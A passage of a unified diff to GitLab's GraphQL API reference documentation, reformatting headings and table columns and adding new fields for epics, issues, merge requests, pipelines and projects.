@@ Represents an epic. | `webPath` | String! | Web path of the epic | | `webUrl` | String! | Web URL of the epic | -## EpicAddIssuePayload +### EpicAddIssuePayload -Autogenerated return type of EpicAddIssue +Autogenerated return type of EpicAddIssue. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `epic` | Epic | The epic after mutation | | `epicIssue` | EpicIssue | The epic-issue relation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## EpicDescendantCount +### EpicDescendantCount Counts of descendent epics. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `closedEpics` | Int | Number of closed child epics | | `closedIssues` | Int | Number of closed epic issues | | `openedEpics` | Int | Number of opened child epics | | `openedIssues` | Int | Number of opened epic issues | -## EpicDescendantWeights +### EpicDescendantWeights -Total weight of open and closed descendant issues +Total weight of open and closed descendant issues. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `closedIssues` | Int | Total weight of completed (closed) issues in this epic, including epic descendants | | `openedIssues` | Int | Total weight of opened issues in this epic, including epic descendants | -## EpicHealthStatus +### EpicHealthStatus -Health status of child issues +Health status of child issues. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `issuesAtRisk` | Int | Number of issues at risk | | `issuesNeedingAttention` | Int | Number of issues that need attention | | `issuesOnTrack` | Int | Number of issues on track | -## EpicIssue +### EpicIssue -Relationship between an epic and an issue +Relationship between an epic and an issue. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | +| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue | | `author` | User! | User that created the issue | | `blocked` | Boolean! | Indicates the issue is blocked | | `closedAt` | Time | Timestamp of when the issue was closed | @@ -879,6 +983,7 @@ Relationship between an epic and an issue | `reference` | String! | Internal reference of the issue. Returned in shortened format by default | | `relationPath` | String | URI path of the epic-issue relation | | `relativePosition` | Int | Relative position of the issue (used for positioning in epic tree and issue boards) | +| `severity` | IssuableSeverity | Severity level of the incident | | `state` | IssueState! | State of the issue | | `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page | | `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue | @@ -896,12 +1001,12 @@ Relationship between an epic and an issue | `webUrl` | String! | Web URL of the issue | | `weight` | Int | Weight of the issue | -## EpicPermissions +### EpicPermissions -Check permissions for the current user on an epic +Check permissions for the current user on an epic. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `adminEpic` | Boolean! | Indicates the user can perform `admin_epic` on this resource | | `awardEmoji` | Boolean! | Indicates the user can perform `award_emoji` on this resource | | `createEpic` | Boolean! | Indicates the user can perform `create_epic` on this resource | @@ -911,29 +1016,29 @@ Check permissions for the current user on an epic | `readEpicIid` | Boolean! | Indicates the user can perform `read_epic_iid` on this resource | | `updateEpic` | Boolean! | Indicates the user can perform `update_epic` on this resource | -## EpicSetSubscriptionPayload +### EpicSetSubscriptionPayload -Autogenerated return type of EpicSetSubscription +Autogenerated return type of EpicSetSubscription. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `epic` | Epic | The epic after mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## EpicTreeReorderPayload +### EpicTreeReorderPayload -Autogenerated return type of EpicTreeReorder +Autogenerated return type of EpicTreeReorder. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## GeoNode +### GeoNode -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `containerRepositoriesMaxCapacity` | Int | The maximum concurrency of container repository sync for this secondary node | | `enabled` | Boolean | Indicates whether this Geo node is enabled | | `filesMaxCapacity` | Int | The maximum concurrency of LFS/attachment backfill for this secondary node | @@ -949,10 +1054,10 @@ Autogenerated return type of EpicTreeReorder | `url` | String | The user-facing URL for this Geo node | | `verificationMaxCapacity` | Int | The maximum concurrency of repository verification for this secondary node | -## GrafanaIntegration +### GrafanaIntegration -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `createdAt` | Time! | Timestamp of the issue's creation | | `enabled` | Boolean! | Indicates whether Grafana integration is enabled | | `grafanaUrl` | String! | URL for the Grafana host for the Grafana integration | @@ -960,10 +1065,10 @@ Autogenerated return type of EpicTreeReorder | `token` **{warning-solid}** | String! | **Deprecated:** Plain text token has been masked for security reasons. Deprecated in 12.7 | | `updatedAt` | Time! | Timestamp of the issue's last activity | -## Group +### Group -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `autoDevopsEnabled` | Boolean | Indicates whether Auto DevOps is enabled for all projects within this group | | `avatarUrl` | String | Avatar URL of the group | | `board` | Board | A single board of the group | @@ -995,38 +1100,53 @@ Autogenerated return type of EpicTreeReorder | `userPermissions` | GroupPermissions! | Permissions for the current user on the resource | | `visibility` | String | Visibility of the namespace | | `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade | +| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the group and its subgroups | | `webUrl` | String! | Web URL of the group | -## GroupMember +### GroupMember -Represents a Group Member +Represents a Group Membership. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `accessLevel` | AccessLevel | GitLab::Access level | | `createdAt` | Time | Date and time the membership was created | | `createdBy` | User | User that authorized membership | | `expiresAt` | Time | Date and time the membership expires | | `group` | Group | Group that a User is a member of | +| `id` | ID! | ID of the member | | `updatedAt` | Time | Date and time the membership was last updated | +| `user` | User! | User that is associated with the member object | | `userPermissions` | GroupPermissions! | Permissions for the current user on the resource | -## GroupPermissions +### GroupPermissions -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `readGroup` | Boolean! | Indicates the user can perform `read_group` on this resource | -## InstanceSecurityDashboard +### InstanceSecurityDashboard -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade | +| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity from projects selected in Instance Security Dashboard | + +### InstanceStatisticsMeasurement + +Represents a recorded measurement (object count) for the Admins. -## Issue +| Field | Type | Description | +| ----- | ---- | ----------- | +| `count` | Int! | Object count | +| `identifier` | MeasurementIdentifier! | The type of objects being measured | +| `recordedAt` | Time | The time the measurement was recorded | -| Name | Type | Description | -| --- | ---- | ---------- | +### Issue + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue | | `author` | User! | User that created the issue | | `blocked` | Boolean! | Indicates the issue is blocked | | `closedAt` | Time | Timestamp of when the issue was closed | @@ -1047,6 +1167,7 @@ Represents a Group Member | `milestone` | Milestone | Milestone of the issue | | `reference` | String! | Internal reference of the issue. Returned in shortened format by default | | `relativePosition` | Int | Relative position of the issue (used for positioning in epic tree and issue boards) | +| `severity` | IssuableSeverity | Severity level of the incident | | `state` | IssueState! | State of the issue | | `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page | | `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue | @@ -1064,22 +1185,22 @@ Represents a Group Member | `webUrl` | String! | Web URL of the issue | | `weight` | Int | Weight of the issue | -## IssueMoveListPayload +### IssueMoveListPayload -Autogenerated return type of IssueMoveList +Autogenerated return type of IssueMoveList. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## IssuePermissions +### IssuePermissions -Check permissions for the current user on a issue +Check permissions for the current user on a issue. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `adminIssue` | Boolean! | Indicates the user can perform `admin_issue` on this resource | | `createDesign` | Boolean! | Indicates the user can perform `create_design` on this resource | | `createNote` | Boolean! | Indicates the user can perform `create_note` on this resource | @@ -1089,102 +1210,113 @@ Check permissions for the current user on a issue | `reopenIssue` | Boolean! | Indicates the user can perform `reopen_issue` on this resource | | `updateIssue` | Boolean! | Indicates the user can perform `update_issue` on this resource | -## IssueSetAssigneesPayload +### IssueSetAssigneesPayload + +Autogenerated return type of IssueSetAssignees. -Autogenerated return type of IssueSetAssignees +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `issue` | Issue | The issue after mutation | + +### IssueSetConfidentialPayload + +Autogenerated return type of IssueSetConfidential. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## IssueSetConfidentialPayload +### IssueSetDueDatePayload -Autogenerated return type of IssueSetConfidential +Autogenerated return type of IssueSetDueDate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## IssueSetDueDatePayload +### IssueSetEpicPayload -Autogenerated return type of IssueSetDueDate +Autogenerated return type of IssueSetEpic. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## IssueSetEpicPayload +### IssueSetIterationPayload -Autogenerated return type of IssueSetEpic +Autogenerated return type of IssueSetIteration. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## IssueSetIterationPayload +### IssueSetLockedPayload -Autogenerated return type of IssueSetIteration +Autogenerated return type of IssueSetLocked. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## IssueSetLockedPayload +### IssueSetSeverityPayload -Autogenerated return type of IssueSetLocked +Autogenerated return type of IssueSetSeverity. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## IssueSetSubscriptionPayload +### IssueSetSubscriptionPayload -Autogenerated return type of IssueSetSubscription +Autogenerated return type of IssueSetSubscription. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## IssueSetWeightPayload +### IssueSetWeightPayload -Autogenerated return type of IssueSetWeight +Autogenerated return type of IssueSetWeight. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## IssueStatusCountsType +### IssueStatusCountsType Represents total number of issues for the represented statuses. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `all` | Int | Number of issues with status ALL for the project | | `closed` | Int | Number of issues with status CLOSED for the project | | `opened` | Int | Number of issues with status OPENED for the project | -## Iteration +### Iteration Represents an iteration object. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | +| `burnupTimeSeries` | BurnupChartDailyTotals! => Array | Daily scope and completed totals for burnup charts | | `createdAt` | Time! | Timestamp of iteration creation | | `description` | String | Description of the iteration | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | @@ -1200,10 +1332,10 @@ Represents an iteration object. | `webPath` | String! | Web path of the iteration | | `webUrl` | String! | Web URL of the iteration | -## JiraImport +### JiraImport -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `createdAt` | Time | Timestamp of when the Jira import was created | | `failedToImportCount` | Int! | Count of issues that failed to import | | `importedIssuesCount` | Int! | Count of issues that were successfully imported | @@ -1212,56 +1344,56 @@ Represents an iteration object. | `scheduledBy` | User | User that started the Jira import | | `totalIssueCount` | Int! | Total count of issues that were attempted to import | -## JiraImportStartPayload +### JiraImportStartPayload -Autogenerated return type of JiraImportStart +Autogenerated return type of JiraImportStart. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `jiraImport` | JiraImport | The Jira import data after mutation | -## JiraImportUsersPayload +### JiraImportUsersPayload -Autogenerated return type of JiraImportUsers +Autogenerated return type of JiraImportUsers. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `jiraUsers` | JiraUser! => Array | Users returned from Jira, matched by email and name if possible. | -## JiraProject +### JiraProject -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `key` | String! | Key of the Jira project | | `name` | String | Name of the Jira project | | `projectId` | Int! | ID of the Jira project | -## JiraService +### JiraService -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `active` | Boolean | Indicates if the service is active | | `type` | String | Class name of the service | -## JiraUser +### JiraUser -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `gitlabId` | Int | ID of the matched GitLab user | | `gitlabName` | String | Name of the matched GitLab user | | `gitlabUsername` | String | Username of the matched GitLab user | -| `jiraAccountId` | String! | Account id of the Jira user | +| `jiraAccountId` | String! | Account ID of the Jira user | | `jiraDisplayName` | String! | Display name of the Jira user | | `jiraEmail` | String | Email of the Jira user, returned only for users with public emails | -## Label +### Label -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `color` | String! | Background color of the label | | `description` | String | Description of the label (Markdown rendered as HTML for caching) | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | @@ -1269,23 +1401,28 @@ Autogenerated return type of JiraImportUsers | `textColor` | String! | Text color of the label | | `title` | String! | Content of the label | -## MarkAsSpamSnippetPayload +### MarkAsSpamSnippetPayload -Autogenerated return type of MarkAsSpamSnippet +Autogenerated return type of MarkAsSpamSnippet. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `snippet` | Snippet | The snippet after mutation | -## MergeRequest +### MergeRequest -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `allowCollaboration` | Boolean | Indicates if members of the target project can push to the fork | +| `approvalsLeft` | Int | Number of approvals left | +| `approvalsRequired` | Int | Number of approvals required | +| `approved` | Boolean! | Indicates if the merge request has all the required approvals. Returns true if no required approvals are configured. | | `author` | User | User who created this merge request | +| `autoMergeEnabled` | Boolean! | Indicates if auto merge is enabled for the merge request | | `commitCount` | Int | Number of commits in the merge request | +| `conflicts` | Boolean! | Indicates if the merge request has conflicts | | `createdAt` | Time! | Timestamp of when the merge request was created | | `defaultMergeCommitMessage` | String | Default merge commit message of the merge request | | `description` | String | Description of the merge request (Markdown rendered as HTML for caching) | @@ -1339,23 +1476,24 @@ Autogenerated return type of MarkAsSpamSnippet | `webUrl` | String | Web URL of the merge request | | `workInProgress` | Boolean! | Indicates if the merge request is a work in progress (WIP) | -## MergeRequestCreatePayload +### MergeRequestCreatePayload -Autogenerated return type of MergeRequestCreate +Autogenerated return type of MergeRequestCreate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `mergeRequest` | MergeRequest | The merge request after mutation | -## MergeRequestPermissions +### MergeRequestPermissions -Check permissions for the current user on a merge request +Check permissions for the current user on a merge request. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `adminMergeRequest` | Boolean! | Indicates the user can perform `admin_merge_request` on this resource | +| `canMerge` | Boolean! | Indicates the user can perform `can_merge` on this resource | | `cherryPickOnCurrentMergeRequest` | Boolean! | Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource | | `createNote` | Boolean! | Indicates the user can perform `create_note` on this resource | | `pushToSourceBranch` | Boolean! | Indicates the user can perform `push_to_source_branch` on this resource | @@ -1364,106 +1502,107 @@ Check permissions for the current user on a merge request | `revertOnCurrentMergeRequest` | Boolean! | Indicates the user can perform `revert_on_current_merge_request` on this resource | | `updateMergeRequest` | Boolean! | Indicates the user can perform `update_merge_request` on this resource | -## MergeRequestSetAssigneesPayload +### MergeRequestSetAssigneesPayload -Autogenerated return type of MergeRequestSetAssignees +Autogenerated return type of MergeRequestSetAssignees. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `mergeRequest` | MergeRequest | The merge request after mutation | -## MergeRequestSetLabelsPayload +### MergeRequestSetLabelsPayload -Autogenerated return type of MergeRequestSetLabels +Autogenerated return type of MergeRequestSetLabels. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `mergeRequest` | MergeRequest | The merge request after mutation | -## MergeRequestSetLockedPayload +### MergeRequestSetLockedPayload -Autogenerated return type of MergeRequestSetLocked +Autogenerated return type of MergeRequestSetLocked. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `mergeRequest` | MergeRequest | The merge request after mutation | -## MergeRequestSetMilestonePayload +### MergeRequestSetMilestonePayload -Autogenerated return type of MergeRequestSetMilestone +Autogenerated return type of MergeRequestSetMilestone. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `mergeRequest` | MergeRequest | The merge request after mutation | -## MergeRequestSetSubscriptionPayload +### MergeRequestSetSubscriptionPayload -Autogenerated return type of MergeRequestSetSubscription +Autogenerated return type of MergeRequestSetSubscription. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `mergeRequest` | MergeRequest | The merge request after mutation | -## MergeRequestSetWipPayload +### MergeRequestSetWipPayload -Autogenerated return type of MergeRequestSetWip +Autogenerated return type of MergeRequestSetWip. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `mergeRequest` | MergeRequest | The merge request after mutation | -## MergeRequestUpdatePayload +### MergeRequestUpdatePayload -Autogenerated return type of MergeRequestUpdate +Autogenerated return type of MergeRequestUpdate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `mergeRequest` | MergeRequest | The merge request after mutation | -## Metadata +### Metadata -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `revision` | String! | Revision | | `version` | String! | Version | -## MetricsDashboard +### MetricsDashboard -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `path` | String | Path to a file with the dashboard definition | | `schemaValidationWarnings` | String! => Array | Dashboard schema validation warnings | -## MetricsDashboardAnnotation +### MetricsDashboardAnnotation -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `description` | String | Description of the annotation | | `endingAt` | Time | Timestamp marking end of annotated time span | | `id` | ID! | ID of the annotation | | `panelId` | String | ID of a dashboard panel to which the annotation should be scoped | | `startingAt` | Time | Timestamp marking start of annotated time span | -## Milestone +### Milestone Represents a milestone. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | +| `burnupTimeSeries` | BurnupChartDailyTotals! => Array | Daily scope and completed totals for burnup charts | | `createdAt` | Time! | Timestamp of milestone creation | | `description` | String | Description of the milestone | | `dueDate` | Time | Timestamp of the milestone due date | @@ -1478,19 +1617,19 @@ Represents a milestone. | `updatedAt` | Time! | Timestamp of last milestone update | | `webPath` | String! | Web path of the milestone | -## MilestoneStats +### MilestoneStats -Contains statistics about a milestone +Contains statistics about a milestone. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `closedIssuesCount` | Int | Number of closed issues associated with the milestone | | `totalIssuesCount` | Int | Total number of issues associated with the milestone | -## Namespace +### Namespace -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `description` | String | Description of the namespace | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | | `fullName` | String! | Full name of the namespace | @@ -1506,20 +1645,20 @@ Contains statistics about a milestone | `temporaryStorageIncreaseEndsOn` | Time | Date until the temporary storage increase is active | | `visibility` | String | Visibility of the namespace | -## NamespaceIncreaseStorageTemporarilyPayload +### NamespaceIncreaseStorageTemporarilyPayload -Autogenerated return type of NamespaceIncreaseStorageTemporarily +Autogenerated return type of NamespaceIncreaseStorageTemporarily. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `namespace` | Namespace | The namespace after mutation | -## Note +### Note -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `author` | User! | User who wrote this note | | `body` | String! | Content of the note | | `bodyHtml` | String | The GitLab Flavored Markdown rendering of `note` | @@ -1538,22 +1677,22 @@ Autogenerated return type of NamespaceIncreaseStorageTemporarily | `updatedAt` | Time! | Timestamp of the note's last activity | | `userPermissions` | NotePermissions! | Permissions for the current user on the resource | -## NotePermissions +### NotePermissions -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `adminNote` | Boolean! | Indicates the user can perform `admin_note` on this resource | | `awardEmoji` | Boolean! | Indicates the user can perform `award_emoji` on this resource | | `createNote` | Boolean! | Indicates the user can perform `create_note` on this resource | | `readNote` | Boolean! | Indicates the user can perform `read_note` on this resource | | `resolveNote` | Boolean! | Indicates the user can perform `resolve_note` on this resource | -## Package +### Package -Represents a package +Represents a package. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `createdAt` | Time! | The created date | | `id` | ID! | The ID of the package | | `name` | String! | The name of the package | @@ -1561,12 +1700,12 @@ Represents a package | `updatedAt` | Time! | The update date | | `version` | String | The version of the package | -## PackageFileRegistry +### PackageFileRegistry -Represents the sync and verification state of a package file +Represents the sync and verification state of a package file. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `createdAt` | Time | Timestamp when the PackageFileRegistry was created | | `id` | ID! | ID of the PackageFileRegistry | | `lastSyncFailure` | String | Error message during sync of the PackageFileRegistry | @@ -1576,22 +1715,23 @@ Represents the sync and verification state of a package file | `retryCount` | Int | Number of consecutive failed sync attempts of the PackageFileRegistry | | `state` | RegistryState | Sync state of the PackageFileRegistry | -## PageInfo +### PageInfo -Information about pagination in a connection. +Information about pagination in a connection.. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `endCursor` | String | When paginating forwards, the cursor to continue. | | `hasNextPage` | Boolean! | When paginating forwards, are there more items? | | `hasPreviousPage` | Boolean! | When paginating backwards, are there more items? | | `startCursor` | String | When paginating backwards, the cursor to continue. | -## Pipeline +### Pipeline -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `beforeSha` | String | Base SHA of the source branch | +| `cancelable` | Boolean! | Specifies if a pipeline can be canceled | | `committedAt` | Time | Timestamp of the pipeline's commit | | `configSource` | PipelineConfigSourceEnum | Config source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE) | | `coverage` | Float | Coverage percentage | @@ -1601,6 +1741,7 @@ Information about pagination in a connection. | `finishedAt` | Time | Timestamp of the pipeline's completion | | `id` | ID! | ID of the pipeline | | `iid` | String! | Internal ID of the pipeline | +| `retryable` | Boolean! | Specifies if a pipeline can be retried | | `securityReportSummary` | SecurityReportSummary | Vulnerability and scanned resource counts for each security scanner of the pipeline | | `sha` | String! | SHA of the pipeline's commit | | `startedAt` | Time | Timestamp when the pipeline was started | @@ -1609,18 +1750,46 @@ Information about pagination in a connection. | `user` | User | Pipeline user | | `userPermissions` | PipelinePermissions! | Permissions for the current user on the resource | -## PipelinePermissions +### PipelineCancelPayload + +Autogenerated return type of PipelineCancel. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + +### PipelineDestroyPayload -| Name | Type | Description | -| --- | ---- | ---------- | +Autogenerated return type of PipelineDestroy. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + +### PipelinePermissions + +| Field | Type | Description | +| ----- | ---- | ----------- | | `adminPipeline` | Boolean! | Indicates the user can perform `admin_pipeline` on this resource | | `destroyPipeline` | Boolean! | Indicates the user can perform `destroy_pipeline` on this resource | | `updatePipeline` | Boolean! | Indicates the user can perform `update_pipeline` on this resource | -## Project +### PipelineRetryPayload + +Autogenerated return type of PipelineRetry. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `pipeline` | Pipeline | The pipeline after mutation | + +### Project -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `alertManagementAlert` | AlertManagementAlert | A single Alert Management alert of the project | | `alertManagementAlertStatusCounts` | AlertManagementAlertStatusCountsType | Counts of alerts by status for the project | | `allowMergeOnSkippedPipeline` | Boolean | If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs | @@ -1628,9 +1797,11 @@ Information about pagination in a connection. | `autocloseReferencedIssues` | Boolean | Indicates if issues referenced by merge requests and commits within the default branch are closed automatically | | `avatarUrl` | String | URL to avatar image file of the project | | `board` | Board | A single board of the project | +| `clusterAgent` | ClusterAgent | Find a single cluster agent by name | | `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy of the project | | `containerRegistryEnabled` | Boolean | Indicates if the project stores Docker container images in a container registry | | `createdAt` | Time | Timestamp of the project creation | +| `dastSiteProfile` | DastSiteProfile | DAST Site Profile associated with the project | | `description` | String | Short description of the project | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | | `environment` | Environment | A single environment of the project | @@ -1675,7 +1846,7 @@ Information about pagination in a connection. | `sentryErrors` | SentryErrorCollection | Paginated collection of Sentry errors on the project | | `serviceDeskAddress` | String | E-mail address of the service desk. | | `serviceDeskEnabled` | Boolean | Indicates if the project has service desk enabled. | -| `sharedRunnersEnabled` | Boolean | Indicates if Shared Runners are enabled for the project | +| `sharedRunnersEnabled` | Boolean | Indicates if shared runners are 